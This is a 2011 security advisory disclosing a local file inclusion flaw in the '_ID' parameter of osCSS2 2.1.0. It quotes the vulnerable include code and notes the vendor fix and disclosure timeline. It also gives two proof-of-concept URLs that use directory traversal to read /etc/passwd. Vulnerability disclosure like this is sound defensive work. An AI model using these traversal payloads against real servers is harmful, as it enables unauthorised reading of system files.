Advisory: osCSS2 "_ID" parameter Local file inclusion
Advisory ID: SSCHADV2011-034
Author: Stefan Schurtz
Affected Software: Successfully tested on osCSS2 2.1.0 (latest version)
Vendor URL: http://oscss.org/
Vendor Status: Fixed in svn branche 2.1.0 and reported in develop version 2.1.1

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Vulnerability Description

osCSS2 2.1.0 "_ID" parameter is prone to a LFI vulnerability

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Vulnerable code

//.htaccess
RewriteRule ^shopping_cart.php(.{0,})$ content.php?_ID=shopping_cart.php&%{QUERY_STRING}

//content.php
require($page->path_gabarit());

// includes/classes/page.php
public function pile_file_lang($path_file){
global $lang;
if(substr($path_file,0,strlen(DIR_FS_CATALOG)) !=DIR_FS_CATALOG) $path_file= DIR_FS_CATALOG.$path_file;

if(!in_array($path_file,(array)$this->PileFileLang))
include_once($path_file);
}

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PoC-Exploit

http://<target>/catalog/shopping_cart.php?_ID=…/…/…/…/…/…/…/…/./…/…/etc/passwd
http://<target>/catalog/content.php?_ID=…/…/…/…/…/…/…/…/…/…/./etc/passwd

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Solution

Fixed in svn branche 2.1.0 and reported in develop version 2.1.1

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Disclosure Timeline

08-Nov-2011 - informed vendor
08-Nov-2011 - release date of this security advisory
08-Nov-2011 - fixed by vendor

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Credits

Vulnerability found and advisory written by Stefan Schurtz.

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References

http://oscss.org/
http://forums.oscss.org/2-security/oscss2-id-parameter-local-file-inclusion-t1999.html
http://dev.oscss.org/task/892
http://www.rul3z.de/advisories/SSCHADV2011-034.txt